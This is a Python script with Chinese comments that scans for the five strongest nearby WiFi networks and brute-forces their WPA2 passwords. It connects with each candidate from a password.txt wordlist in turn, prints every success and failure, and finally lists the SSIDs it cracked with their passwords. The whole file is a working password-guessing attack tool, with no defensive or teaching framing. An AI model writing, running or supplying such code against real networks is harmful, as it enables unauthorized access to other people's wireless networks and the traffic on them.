import pywifi
from pywifi import const #引用一些定義
import time
namelist = []
ssidlist = []
result = [] #存放查詢到的WIFI,密碼
wificount=5 #查詢附近信號最強的5個WIFI，最多5個
def getwifi():
  wifi=pywifi.PyWiFi()#抓取網卡接口
  ifaces=wifi.interfaces()[0]#獲取網卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重復的WIFI名稱
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取網卡接口
  ifaces=wifi.interfaces()[0]#獲取網卡
  ifaces.disconnect()#斷開無限網卡連接
  profile=pywifi.Profile()#創建wifi連接文件
  profile.ssid=ssidname#定義wifissid
  profile.auth=const.AUTH_ALG_OPEN#網卡的開放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密單元
  profile.key=password #wifi密碼
  ifaces.remove_all_network_profiles()#刪除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加載配置文件
  ifaces.connect(tmp_profile)#連接wifi
  time.sleep(5)#5秒內能否連接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#斷開連接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已經找到密碼的WIFI從查詢中刪除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密碼保存起來
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI結果列表:")
    for item in result: #把已經找到密碼的WIFI從查詢中刪除。
      print("")
      print("無線:",item[0])
      print("密碼:",item[1])
  else:
    print("沒有找到WIFI信號，請重試。")
if __name__ == '__main__':
  main()